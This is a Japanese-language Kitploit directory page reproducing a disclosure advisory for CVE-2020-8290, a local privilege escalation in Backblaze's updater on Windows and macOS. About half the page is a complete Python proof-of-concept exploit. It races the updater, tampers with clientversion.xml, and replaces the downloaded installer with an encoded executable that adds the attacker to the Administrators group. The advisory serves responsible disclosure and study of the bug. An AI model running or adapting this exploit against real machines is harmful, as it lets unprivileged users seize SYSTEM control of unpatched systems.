Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Backblaze における特権昇格 | Kitploit
ツール/GitHubGitHub/geffner/cve-2020-8290
特権昇格脆弱性分析エクスプロイトペネトレーションテスト
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Backblaze における特権昇格

リポジトリを見る
5年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-8290 – Backblaze における権限昇格

概要

Name: Backblaze における権限昇格
CVE: CVE-2020-8290
Discoverer: Jason Geffner
Vendor: Backblaze
Product: Windows 版 Backblaze および macOS 版 Backblaze
Risk: 高
Discovery Date: 2020-03-13
Publication Data: 2020-09-09
Fixed Version: 7.0.0.439

はじめに

Wikipedia によると、Backblaze は次のように説明されています。

「Windows および macOS ユーザーが自分のデータをオフサイトのデータセンターにバックアップできるようにするオンラインバックアップツールです。このサービスは企業とエンドユーザー向けに設計されており、無制限のストレージ容量を提供し、無制限のファイルサイズをサポートしています。」

脆弱なバージョンの Windows 版 Backblaze および macOS 版 Backblaze には、ローカルの非特権攻撃者が権限昇格(EOP)攻撃を実行して SYSTEM/root になることを可能にする、高リスクの脆弱性が含まれています。

脆弱性

Backblaze クライアントのサービスプロセス bzserv は、Windows では SYSTEM として、macOS では root として実行されます。bzserv は数時間ごとに、bztransmit というプログラムを(SYSTEM/root として)実行し、Backblaze のデータセンターから clientversion.xml という XML ファイルをダウンロードして、より新しいバージョンの Backblaze クライアントがダウンロード可能かどうかを確認します。新しいバージョンがあれば、最新版クライアントのインストーラーを Backblaze のデータセンターからダウンロードします。ダウンロードされたインストーラーは、Windows では %ProgramData%\Backblaze\bzdata\bzupdates ディレクトリに、macOS では /Library/Backblaze.bzpkg/bzdata/bzupdates または /Library/Backblaze/bzdata/bzupdates ディレクトリに保存されます。ダウンロード後、bztransmit は Windows では ShellExecute() を介してダウンロードしたインストーラーを SYSTEM として実行し、macOS では system() を介して root として実行します。

Windows では、%ProgramData%\Backblaze\bzdata ディレクトリはインストール時に作成され、ローカルの非特権ユーザーが読み取りおよび書き込みアクセス権を持ちます。bztransmit プロセスは、SYSTEM として実行中に bzupdates 子ディレクトリを作成しますが、一度作成されると非特権ユーザーはこの子ディレクトリへの読み取りまたは書き込みアクセス権を持ちません。しかし、bztransmit プロセスは、bzupdates ディレクトリが既に存在する場合にその ACL を安全に検証せず、またディレクトリが既に存在する場合に ACL を安全に更新しません。そのため、ローカルの非特権攻撃者は、Backblaze のインストール前に %ProgramData%\Backblaze\bzdata\bzupdates ディレクトリを作成したり、Backblaze のインストール後かつ bztransmit が bzupdates 子ディレクトリを作成する前に、%ProgramData%\Backblaze\bzdata の下に bzupdates 子ディレクトリを作成したりできます。これにより、攻撃者は bzupdates ディレクトリの所有者となり、そのディレクトリ内のファイルを完全に制御できます。したがって、攻撃者はダウンロードされた更新実行ファイルを、ダウンロード後かつ実行前に変更または置換でき、ローカルでの権限昇格が可能になります。

macOS では、/Library/Backblaze.bzpkg/bzdata(または /Library/Backblaze/bzdata)ディレクトリはインストール時にパーミッション 0777(drwxrwxrwx)で作成され、ローカルの非特権ユーザーが読み取りおよび書き込みアクセス権を持ちます。bztransmit プロセスは、root として実行中に bzupdates 子ディレクトリをパーミッション 0755(drwxr-xr-x)で作成しますが、一度作成されると非特権ユーザーはこの子ディレクトリへの読み取りまたは書き込みアクセス権を持ちません。しかし、bztransmit プロセスは、bzupdates ディレクトリが既に存在する場合にそのパーミッションを安全に検証せず、またディレクトリが既に存在する場合にパーミッションを安全に更新しません。そのため、ローカルの非特権攻撃者は、Backblaze のインストール後かつ bztransmit が bzupdates 子ディレクトリを作成する前に、/Library/Backblaze.bzpkg/bzdata(または /Library/Backblaze/bzdata)の下に 子ディレクトリを作成できます。これにより、攻撃者は ディレクトリの所有者となり、そのディレクトリ内のファイルを完全に制御できます。したがって、攻撃者はダウンロードされた更新実行ファイルを、ダウンロード後かつ実行前に変更または置換でき、ローカルでの権限昇格が可能になります。

概念実証

動画: https://youtu.be/OpC6neWd2aM

上記の動画は、同じ VM への 2 つの同時ログインを示しています。左側が管理者のセッション、右側が非特権の攻撃者のセッションです。動画では次の手順が確認できます。

  1. Attacker は net localgroup Administrators を実行し、非特権の攻撃者アカウント(名前は Attacker)が Administrators グループのメンバーではないことを示します。
  2. Attacker は python eop.py(ソースコードは以下)を実行します。
  3. 次に、管理者が Backblaze をインストールします。
  4. 6 分後、インストールされた Backblaze サービスが clientversion.xml をダウンロードし、エクスプロイトがそれを上書きします。
  5. 1 分後、インストールされた Backblaze サービスがアップデータ実行ファイルをダウンロードし、エクスプロイトがそれを上書きします。
  6. その後、Backblaze サービスは上書きされたアップデータを実行し、Attacker アカウントを Administrators グループに追加します。
  7. 攻撃者は再び net localgroup Administrators を実行し、Attacker アカウントが確かに Administrators グループに追加されたことを示します。ローカルの権限昇格が完了です。
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

緩和策

Backblaze はこの脆弱性を Backblaze バージョン 7.0.0.439 で修正しました。

発見者

この脆弱性は、Jason Geffner によって HackerOne 経由で発見され、Backblaze に報告されました。

タイムライン

2020-03-13 - 脆弱性を発見し、HackerOne 経由で Backblaze に報告した
2020-03-26 - HackerOne が脆弱性を検証した
2020-04-22 - CVE-2020-8152 が割り当てられた
2020-04-22 - ビルド 7.0.0.439 がリリースされた
2020-04-22 - 脆弱性の緩和策が検証された
2020-04-23 - 公開開示が要求された
2020-09-09 - 公開開示された
2020-12-22 - CVE の割り当てが CVE-2020-8290 に変更された

ツールをダウンロード
bzupdates
bzupdates